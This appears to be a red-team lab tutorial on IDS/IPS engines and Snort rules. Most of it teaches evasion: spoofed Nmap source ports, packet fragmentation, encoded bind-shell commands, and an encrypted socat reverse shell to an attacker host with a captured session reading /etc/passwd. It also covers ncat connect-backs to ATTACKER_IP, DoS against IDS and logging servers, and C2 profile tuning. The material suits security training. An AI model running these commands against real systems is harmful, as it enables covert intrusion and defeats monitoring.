Network Security Solutions

Introduction

IDS setups can be divided based on their location in the network into:

1. Host-based IDS (HIDS)
2. Network-based IDS (NIDS)

The host-based IDS (HIDS) is installed on an OS along with the other running applications. This setup will give the HIDS the ability to monitor the traffic going in and out of the host; moreover, it can monitor the processes running on the host.

The network-based IDS (NIDS) is a dedicated appliance or server to monitor the network traffic. The NIDS should be connected so that it can monitor all the network traffic of the network or VLANs we want to protect. This can be achieved by connecting the NIDS to a monitor port on the switch. The NIDS will process the network traffic to detect malicious traffic.

IDS Engine Types

We can classify network traffic into:

• Benign traffic: This is the usual traffic that we expect to have and don’t want the IDS to alert us about.
• Malicious traffic: This is abnormal traffic that we don’t expect to see under normal conditions and consequently want the IDS to detect it.

In the same way that we can classify network traffic, we can also classify host activity. The IDS detection engine is either built around detecting malicious traffic and activity or around recognizing normal traffic and activity. Recognizing “normal” makes it easy to detect any deviation from normal.

Consequently, the detection engine of an IDS can be:

• Signature-based: A signature-based IDS requires full knowledge of malicious (or unwanted) traffic. In other words, we need to explicitly feed the signature-based detection engine the characteristics of malicious traffic. Teaching the IDS about malicious traffic can be achieved using explicit rules to match against.
• Anomaly-based: This requires the IDS to have knowledge of what regular traffic looks like. In other words, we need to “teach” the IDS what normal is so that it can recognize what is not normal. Teaching the IDS about normal traffic, i.e., baseline traffic can be achieved using machine learning or manual rules.

Put in another way, signature-based IDS recognizes malicious traffic, so everything that is not malicious is considered benign (normal). This approach is commonly found in anti-virus software, which has a database of known virus signatures. Anything that matches a signature is detected as a virus.

An anomaly-based IDS recognizes normal traffic, so anything that deviates from normal is considered malicious. This approach is more similar to how human beings perceive things; you have certain expectations for speed, performance, and responsiveness when you start your web browser. In other words, you know what “normal” is for your browser. If suddenly you notice that your web browser is too sluggish or unresponsive, you will know that something is wrong. In other words, you knew it when your browser’s performance deviated from normal.

IDS/IPS Rule Triggering

Each IDS/IPS has a certain syntax to write its rules. For example, Snort uses the following format for its rules: Rule Header (Rule Options), where Rule Header constitutes:

1. Action: Examples of action include alert, log, pass, drop, and reject.
2. Protocol: TCP, UDP, ICMP, or IP.
3. Source IP/Source Port: !10.10.0.0/16 any refers to everything not in the class B subnet 10.10.0.0/16.
4. Direction of Flow: -> indicates left (source) to right (destination), while <> indicates bi-directional traffic.
5. Destination IP/Destination Port: 10.10.0.0/16 any to refer to class B subnet 10.10.0.0/16.

Below is an example rule to drop all ICMP traffic passing through Snort IPS:

drop icmp any any -> any any (msg: "ICMP Ping Scan"; dsize:0; sid:1000020; rev: 1;)

The rule above instructs the Snort IPS to drop any packet of type ICMP from any source IP address (on any port) to any destination IP address (on any port). The message to be added to the logs is “ICMP Ping Scan.”

Let’s consider a hypothetical case where a vulnerability is discovered in our web server. This vulnerability lies in how our web server handles HTTP POST method requests, allowing the attacker to run system commands.

Let’s consider the following “naive” approach. We want to create a Snort rule that detects the term ncat in the payload of the traffic exchanged with our webserver to learn how people exploit this vulnerability.

alert tcp any any <> any 80 (msg: "Netcat Exploitation"; content:"ncat"; sid: 1000030; rev:1;)

The rule above inspects the content of the packets exchanged with port 80 for the string ncat. Alternatively, you can choose to write the content that Snort will scan for in hexadecimal format. ncat in ASCII is written as 6e 63 61 74 in hexadecimal and it is encapsulated as a string by 2 pipe characters |.

alert tcp any any <> any 80 (msg: "Netcat Exploitation"; content:"|6e 63 61 74|"; sid: 1000031; rev:1;)

We can further refine it if we expect to see it in HTTP POST requests. Note that flow:established tells the Snort engine to look at streams started by a TCP 3-way handshake (established connections).

alert tcp any any <> any 80 (msg: "Netcat Exploitation"; flow:established,to_server; content:"POST"; nocase; http_method; content:"ncat"; nocase; sid:1000032; rev:1;)

If ASCII logging is chosen, the logs would be similar to the two alerts shown next.

[**] [1:1000031:1] Netcat Exploitation [**]
[Priority: 0] 
01/14-12:51:26.717401 10.14.17.226:45480 -> 10.10.112.168:80
TCP TTL:63 TOS:0x0 ID:34278 IpLen:20 DgmLen:541 DF
***AP*** Seq: 0x26B5C2F  Ack: 0x0  Win: 0x0  TcpLen: 32

[**] [1:1000031:1] Netcat Exploitation [**]
[Priority: 0] 
01/14-12:51:26.717401 10.14.17.226:45480 -> 10.10.112.168:80
TCP TTL:63 TOS:0x0 ID:34278 IpLen:20 DgmLen:541 DF
***AP*** Seq: 0x26B5C2F  Ack: 0xF1090882  Win: 0x3F  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2244530364 287085341

There are a few points to make about signature-based IDS and its rules. If the attacker made even the slightest changes to avoid using ncat verbatim in their payload, the attack would go unnoticed. As we can conclude, a signature-based IDS or IPS is limited to how well-written and updated its signatures (rules) are.

Evasion via Protocol Manipulation

Evading a signature-based IDS/IPS requires that you manipulate your traffic so that it does not match any IDS/IPS signatures. Here are four general approaches you might consider to evade IDS/IPS systems.

1. Evasion via Protocol Manipulation
2. Evasion via Payload Manipulation
3. Evasion via Route Manipulation
4. Evasion via Tactical Denial of Service (DoS)

Evasion via protocol manipulation includes:

• Relying on a different protocol
• Manipulating (Source) TCP/UDP port
• Using session splicing (IP packet fragmentation)
• Sending invalid packets

Rely on a Different Protocol

The IDS/IPS system might be configured to block certain protocols and allow others. For instance, you might consider using UDP instead of TCP or rely on HTTP instead of DNS to deliver an attack or exfiltrate data. You can use the knowledge you have gathered about the target and the applications necessary for the target organization to design your attack. For instance, if web browsing is allowed, it usually means that protected hosts can connect to ports 80 and 443 unless a local proxy is used. In one case, the client relied on Google services for their business, so the attacker used Google web hosting to conceal his malicious site. Unfortunately, it is not a one-size-fits-all; moreover, some trial and error might be necessary as long as you don’t create too much noise.

We have an IPS set to block DNS queries and HTTP requests in the figure below. In particular, it enforces the policy where local machines cannot query external DNS servers but should instead query the local DNS server; moreover, it enforces secure HTTP communications. It is relatively permissive when it comes to HTTPS. In this case, using HTTPS to tunnel traffic looks like a promising approach to evade the IPS.

Consider the case where you are using Ncat. Ncat, by default, uses a TCP connection; however, you can get it to use UDP using the option -u.

To listen using TCP, just issue ncat -lvnp PORT_NUM where port number is the port you want to listen to. to connect to an Ncat instance listening on a TCP port, you can issue ncat TARGET_IP PORT_NUM.

Note that: * -l tells ncat to listen for incoming connections * -v gets more verbose output as ncat binds to a source port and receives a connection * -n avoids resolving hostnames * -p specifies the port number that ncat will listen on

As already mentioned, using -u will move all communications over UDP.

• To listen using UDP, just issue ncat -ulvnp PORT_NUM where port number is the port you want to listen to. Note that unless you add -u, ncat will use TCP by default.
• To connect to an Ncat instance listening on a UDP port, you can issue nc -u TARGET_IP PORT_NUM

Consider the following two examples:

• Running ncat -lvnp 25 on the attacker system and connecting to it will give the impression that it is a usual TCP connection with an SMTP server, unless the IDS/IPS provides deep packet inspection (DPI).
• Executing ncat -ulvnp 162 on the attacker machine and connecting to it will give the illusion that it is a regular UDP communication with an SNMP server unless the IDS/IPS supports DPI.

Manipulate (Source) TCP/UDP Port

Generally speaking, the TCP and UDP source and destination ports are inspected even by the most basic security solutions. Without deep packet inspection, the port numbers are the primary indicator of the service used. In other words, network traffic involving TCP port 22 would be interpreted as SSH traffic unless the security solution can analyze the data carried by the TCP segments.

Depending on the target security solution, you can make your port scanning traffic resemble web browsing or DNS queries. If you are using Nmap, you can add the option -g PORT_NUMBER (or --source-port PORT_NUMBER) to make Nmap send all its traffic from a specific source port number.

While scanning a target, use nmap -sS -Pn -g 80 -F 10.10.163.34 to make the port scanning traffic appear to be exchanged with an HTTP server at first glance.

If you are interested in scanning UDP ports, you can use nmap -sU -Pn -g 53 -F 10.10.163.34 to make the traffic appear to be exchanged with a DNS server.

Consider the case where you are using Ncat. You can try to camouflage the traffic as if it is some DNS traffic.

• On the attacker machine, if you want to use Ncat to listen on UDP port 53, as a DNS server would, you can use ncat -ulvnp 53.
• On the target, you can make it connect to the listening server using ncat -u ATTACKER_IP 53.

Alternatively, you can make it appear more like web traffic where clients communicate with an HTTP server.

• On the attacker machine, to get Ncat to listen on TCP port 80, like a benign web server, you can use ncat -lvnp 80.
• On the target, connect to the listening server using nc ATTACKER_IP 80.

Use Session Splicing (IP Packet Fragmentation)

Another approach possible in IPv4 is IP packet fragmentation, i.e., session splicing. The assumption is that if you break the packet(s) related to an attack into smaller packets, you will avoid matching the IDS signatures. If the IDS is looking for a particular stream of bytes to detect the malicious payload, divide your payload among multiple packets. Unless the IDS reassembles the packets, the rule won’t be triggered.

Nmap offers a few options to fragment packets. You can add:

• -f to set the data in the IP packet to 8 bytes.
• -ff to limit the data in the IP packet to 16 bytes at most.
• --mtu SIZE to provide a custom size for data carried within the IP packet. The size should be a multiple of 8.

Suppose you want to force all your packets to be fragmented into specific sizes. In that case, you should consider using a program such as Fragroute. fragroute can be set to read a set of rules from a given configuration file and applies them to incoming packets. For simple IP packet fragmentation, it would be enough to use a configuration file with ip_frag SIZE to fragment the IP data according to the provided size. The size should be a multiple of 8.

For example, you can create a configuration file fragroute.conf with one line, ip_frag 16, to fragment packets where IP data fragments don’t exceed 16 bytes. Then you would run the command fragroute -f fragroute.conf HOST. The host is the destination to which we would send the fragmented packets it.

Sending Invalid Packets

Generally speaking, the response of systems to valid packets tends to be predictable. However, it can be unclear how systems would respond to invalid packets. For instance, an IDS/IPS might process an invalid packet, while the target system might ignore it. The exact behavior would require some experimentation or inside knowledge.

Nmap makes it possible to create invalid packets in a variety of ways. In particular, two common options would be to scan the target using packets that have:

• Invalid TCP/UDP checksum
• Invalid TCP flags

Nmap lets you send packets with a wrong TCP/UDP checksum using the option --badsum. An incorrect checksum indicates that the original packet has been altered somewhere across its path from the sending program.

Nmap also lets you send packets with custom TCP flags, including invalid ones. The option --scanflags lets you choose which flags you want to set. * URG for Urgent * ACK for Acknowledge * PSH for Push * RST for Reset * SYN for Synchronize * FIN for Finish

For instance, if you want to set the flags Synchronize, Reset, and Finish simultaneously, you can use --scanflags SYNRSTFIN, although this combination might not be beneficial for your purposes.

If you want to craft your packets with custom fields, whether valid or invalid, you might want to consider a tool such as hping3. We will list a few example options to give you an idea of packet crafting using hping3.

• -t or --ttl to set the Time to Live in the IP header
• -b or --badsum to send packets with a bad UDP/TCP checksum
• -S, -A, -P, -U, -F, -R to set the TCP SYN, ACK, PUSH, URG, FIN, and RST flags, respectively

There is a myriad of other options. Depending on your needs, you might want to check the hping3 manual page for the complete list.

Evasion via Payload Manipulation

Evasion via payload manipulation includes:

• Obfuscating and encoding the payload
• Encrypting the communication channel
• Modifying the shellcode

Obfuscate and Encode the Payload

Because the IDS rules are very specific, you can make minor changes to avoid detection. The changes include adding extra bytes, obfuscating the attack data, and encrypting the communication.

Consider the command ncat -lvnp 1234 -e /bin/bash, where ncat will listen on TCP port 1234 and connect any incoming connection to the Bash shell. There are a few common transformations such as Base64, URL encoding, and Unicode escape sequence that you can apply to your command to avoid triggering IDS/IPS signatures.

Encode to Base64 format

You can use one of the many online tools that encode your input to Base64. Alternatively, you can use base64 commonly found on Linux systems.

pentester@TryHackMe$ cat input.txt
ncat -lvnp 1234 -e /bin/bash
$ base64 input.txt
bmNhdCAtbHZucCAxMjM0IC1lIC9iaW4vYmFzaA==

ncat -lvnp 1234 -e /bin/bash is encoded to bmNhdCAtbHZucCAxMjM0IC1lIC9iaW4vYmFzaA==.

URL Encoding

URL encoding converts certain characters to the form %HH, where HH is the hexadecimal ASCII representation. English letters, period, dash, and underscore are not affected. You can refer to section 2.4 in RFC 3986 for more information.

One utility that you can easily install on your Linux system is urlencode; alternatively, you can either use an online service or search for similar utilities on MS Windows and macOS.

pentester@TryHackMe$ urlencode ncat -lvnp 1234 -e /bin/bash
ncat%20-lvnp%201234%20-e%20%2Fbin%2Fbash

ncat -lvnp 1234 -e /bin/bash becomes ncat%20-lvnp%201234%20-e%20%2Fbin%2Fbash after URL encoding. Depending what the IDS/IPS signature is matching, URL encoding might help evade detection.

Use Escaped Unicode

Some applications will still process your input and execute it properly if you use escaped Unicode. There are multiple ways to use escaped Unicode depending on the system processing the input string. For example, you can use CyberChef to select and configure the Escape Unicode Characters recipe as shown in the image below.

1. Search for Escape Unicode Characters
2. Drag it to the Recipe column
3. Ensure you a check-mark near Encode all chars with a prefix of \u
4. Ensure you have a check-mark near Uppercase hex with a padding of 4

If you use the format \uXXXX, then ncat -lvnp 1234 -e /bin/bash becomes \u006e\u0063\u0061\u0074\u0020\u002d\u006c\u0076\u006e\u0070\u0020\u0031\u0032\u0033\u0034\u0020\u002d\u0065\u0020\u002f\u0062\u0069\u006e\u002f\u0062\u0061\u0073\u0068. It is clearly a drastic transformation that would help you evade detection, assuming the target system will interpret it correctly and execute it.

Encrypt the Communication Channel

Because an IDS/IPS won’t inspect encrypted data, an attacker can take advantage of encryption to evade detection. Unlike encoding, encryption requires an encryption key.

One direct approach is to create the necessary encryption key on the attacker’s system and set socat to use the encryption key to enforce encryption as it listens for incoming connections. An encrypted reverse shell can be carried out in three steps:

1. Create the key
2. Listen on the attacker’s machine
3. Connect to the attacker’s machine

We can create the key using openssl.

openssl req -x509 -newkey rsa:4096 -days 365 -subj '/CN=www.redteam.thm/O=Red Team THM/C=UK' -nodes -keyout thm-reverse.key -out thm-reverse.crt

The arguments in the above command are:

• req indicates that this is a certificate signing request. Obviously, we won’t submit our certificate for signing.
• -x509 specifies that we want an X.509 certificate
• -newkey rsa:4096 creates a new certificate request and a new private key using RSA, with the key size being 4096 bits. (You can use other options for RSA key size, such as -newkey rsa:2048.)
• -days 365 shows that the validity of our certificate will be one year
• -subj sets data, such as organization and country, via the command-line.
• -nodes simplifies our command and does not encrypt the private key
• -keyout PRIVATE_KEY specifies the filename where we want to save our private key
• -out CERTIFICATE specifies the filename to which we want to write the certificate request

The above command returns:

• Private key: thm-reverse.key
• Certificate: thm-reverse.crt

The Privacy Enhanced Mail (PEM) .pem file requires the concatenation of the private key .key and the certificate .crt files. We can use cat to create our PEM file from the two files that we have just created:

cat thm-reverse.key thm-reverse.crt > thm-reverse.pem.

Secondly, with the PEM file ready, we can start listening while using the key for encrypting the communication with the client.

socat -d -d OPENSSL-LISTEN:4443,cert=thm-reverse.pem,verify=0,fork STDOUT

If you are not familiar with socat, the options that we used are:

• -d -d provides some debugging data (fatal, error, warning, and notice messages)
• OPENSSL-LISTEN:PORT_NUM indicates that the connection will be encrypted using OPENSSL
• cert=PEM_FILE provides the PEM file (certificate and private key) to establish the encrypted connection
• verify=0 disables checking peer’s certificate
• fork creates a sub-process to handle each new connection.

Thirdly, on the victim system, socat OPENSSL:10.20.30.1:4443,verify=0 EXEC:/bin/bash. Note that the EXEC invokes the specified program.

Let’s demonstrate this. On the attacker system, we carried out the following:

pentester@TryHackMe$ openssl req -x509 -newkey rsa:4096 -days 365 -subj '/CN=www.redteam.thm/O=Red Team THM/C=UK' -nodes -keyout thm-reverse.key -out thm-reverse.crt
Generating a RSA private key
........................++++
......++++
writing new private key to 'thm-reverse.key'
-----
pentester@TryHackMe$ ls
thm-reverse.crt  thm-reverse.key
pentester@TryHackMe$ cat thm-reverse.key thm-reverse.crt > thm-reverse.pem
pentester@TryHackMe$ socat -d -d OPENSSL-LISTEN:4443,cert=thm-reverse.pem,verify=0,fork STDOUT
2022/02/24 13:39:07 socat[1208] W ioctl(6, IOCTL_VM_SOCKETS_GET_LOCAL_CID, ...): Inappropriate ioctl for device
2022/02/24 13:39:07 socat[1208] N listening on AF=2 0.0.0.0:4443

As we have a listener on the attacker system, we switched to the victim machine, and we executed the following:

pentester@target$ socat OPENSSL:10.20.30.129:4443,verify=0 EXEC:/bin/bash

Back to the attacker system, let’s run cat /etc/passwd:

pentester@TryHackMe$ socat -d -d OPENSSL-LISTEN:4443,cert=thm-reverse.pem,verify=0,fork STDOUT
[...]
2022/02/24 15:54:28 socat[7620] N starting data transfer loop with FDs [7,7] and [1,1]

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
[...]

However, if the IDS/IPS inspects the traffic, all the packet data will be encrypted. In other words, the IPS will be completely oblivious to exchange traffic and commands such as cat /etc/passwd. The screenshot below shows how things appear on the wire when captured using Wireshark. The highlighted packet contains cat /etc/passwd; however, it is encrypted.

Modify the data

Consider the simple case where you want to use Ncat to create a bind shell. The following command ncat -lvnp 1234 -e /bin/bash tells ncat to listen on TCP port 1234 and bind Bash shell to it. If you want to detect packets containing such commands, you need to think of something specific to match the signature but not too specific.

• Scanning for ncat -lvnp can be easily evaded by changing the order of the flags.
• On the other hand, inspecting the payload for ncat - can be evaded by adding an extra white space, such as ncat - which would still run correctly on the target system.
• If the IDS is looking for ncat, then simple changes to the original command won’t evade detection. We need to consider more sophisticated approaches depending on the target system/application. One option would be to use a different command such as nc or socat. Alternatively, you can consider a different encoding if the target system can process it properly.

Evasion via Route Manipulation

Evasion via route manipulation includes:

• Relying on source routing
• Using proxy servers

Relying on Source Routing

In many cases, you can use source routing to force the packets to use a certain route to reach their destination. Nmap provides this feature using the option --ip-options. Nmap offers loose and strict routing:

• Loose routing can be specified using L. For instance, --ip-options "L 10.10.10.50 10.10.50.250" requests that your scan packets are routed through the two provided IP addresses.
• Strict routing can be specified using S. Strict routing requires you to set every hop between your system and the target host. For instance, --ip-options "S 10.10.10.1 10.10.20.2 10.10.30.3" specifies that the packets go via these three hops before reaching the target host.

Using Proxy Servers

The use of proxy servers can help hide your source. Nmap offers the option --proxies that takes a list of a comma-separated list of proxy URLs. Each URL should be expressed in the format proto://host:port. Valid protocols are HTTP and SOCKS4; moreover, authentication is not currently supported.

Consider the following example. Instead of running nmap -sS 10.10.163.34, you would edit your Nmap command to something like nmap -sS HTTP://PROXY_HOST1:8080,SOCKS4://PROXY_HOST2:4153 10.10.163.34. This way, you would make your scan go through HTTP proxy host1, then SOCKS4 proxy host2, before reaching your target. It is important to note that finding a reliable proxy requires some trial and error before you can rely on it to hide your Nmap scan source.

If you use your web browser to connect to the target, it would be a simple task to pass your traffic via a proxy server. Other network tools usually provide their own proxy settings that you can use to hide your traffic source.

Evasion via Tactical DoS

Evasion via tactical DoS includes: * Launching denial of service against the IDS/IPS * Launching denial of Service against the logging server

An IDS/IPS requires a high processing power as the number of rules grows and the network traffic volume increases. Moreover, especially in the case of IDS, the primary response is logging traffic information matching the signature. Consequently, you might find it beneficial if you can:

• Create a huge amount of benign traffic that would simply overload the processing capacity of the IDS/IPS.
• Create a massive amount of not-malicious traffic that would still make it to the logs. This action would congest the communication channel with the logging server or exceed its disk writing capacity.

It is also worth noting that the target of your attack can be the IDS operator. By causing a vast number of false positives, you can cause operator fatigue against your “adversary.”

C2 and IDS/IPS Evasion

Pentesting frameworks, such as Cobalt Strike and Empire, offer malleable Command and Control (C2) profiles. These profiles allow various fine-tuning to evade IDS/IPS systems. If you are using such a framework, it is worth creating a custom profile instead of relying on a default one. Examples variables you can control include the following:

• User-Agent: The tool or framework you are using can expose you via its default-set user-agent. Hence, it is always important to set the user-agent to something innocuous and test to confirm your settings.
• Sleep Time: The sleep time allows you to control the callback interval between beacon check-ins. In other words, you can control how often the infected system will attempt to connect to the control system.
• Jitter: This variable lets you add some randomness to the sleep time, specified by the jitter percentage. A jitter of 30% results in a sleep time of ±30% to further evade detection.
• SSL Certificate: Using your authentic-looking SSL certificate will significantly improve your chances of evading detection. It is a very worthy investment of time.
• DNS Beacon: Consider the case where you are using DNS protocol to exfiltrate data. You can fine-tune DNS beacons by setting the DNS servers and the hostname in the DNS query. The hostname will be holding the exfiltrated data.

This CobaltStrike Guideline Profile shows how a profile is put together.

Next-Gen Security

Next-Generation Network IPS (NGNIPS) has the following five characteristics according to Gartner:

1. Standard first-generation IPS capabilities: A next-generation network IPS should achieve what a traditional network IPS can do.
2. Application awareness and full-stack visibility: Identify traffic from various applications and enforce the network security policy. An NGNIPS must be able to understand up to the application layer.
3. Context-awareness: Use information from sources outside of the IPS to aid in blocking decisions.
4. Content awareness: Able to inspect and classify files, such as executable programs and documents, in inbound and outbound traffic.
5. Agile engine: Support upgrade paths to benefit from new information feeds.

Because a Next-Generation Firewall (NGFW) provides the same functionality as an IPS, it seems that the term NGNIPS is losing popularity for the sake of NGFW.